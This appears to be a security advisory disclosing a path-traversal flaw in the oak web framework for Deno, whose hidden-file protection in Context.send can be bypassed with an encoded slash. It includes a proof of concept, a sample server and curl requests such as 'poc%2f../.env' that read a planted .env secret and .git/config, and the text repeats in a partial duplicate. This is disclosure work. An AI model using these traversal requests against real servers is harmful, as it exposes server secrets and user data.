Summary
By default oak
does not allow transferring of hidden files with Context.send
API. However, this can be bypassed by
encoding /
as its URL encoded form %2F
.
Details
1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that
contains URL encoded characters unless the client URL encodes it first.
2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from subdir/.env
.
PoC
// server.ts
import { Application } from "jsr:@oak/[email protected]";
const app = new Application();
app.use(async (context, next) => {
try {
await context.send({
root: './root',
hidden: false, // default
});
} catch {
await next();
}
});
await app.listen({ port: 8000 });
In terminal:
# setup root directory
mkdir root/.git
echo SECRET_KEY=oops > root/.env
echo oops > root/.git/config
# start server
deno run -A server.ts
# in another terminal
curl -D- http://127.0.0.1:8000/poc%2f../.env
curl -D- http://127.0.0.1:8000/poc%2f../.git/config
Impact
For an attacker this has potential to read sensitive user data or to gain access to server secrets.
References
Summary
By default
oak
does not allow transferring of hidden files withContext.send
API. However, this can be bypassed byencoding
/
as its URL encoded form%2F
.Details
1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that
contains URL encoded characters unless the client URL encodes it first.
2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from
subdir/.env
.PoC
In terminal:
Impact
For an attacker this has potential to read sensitive user data or to gain access to server secrets.
References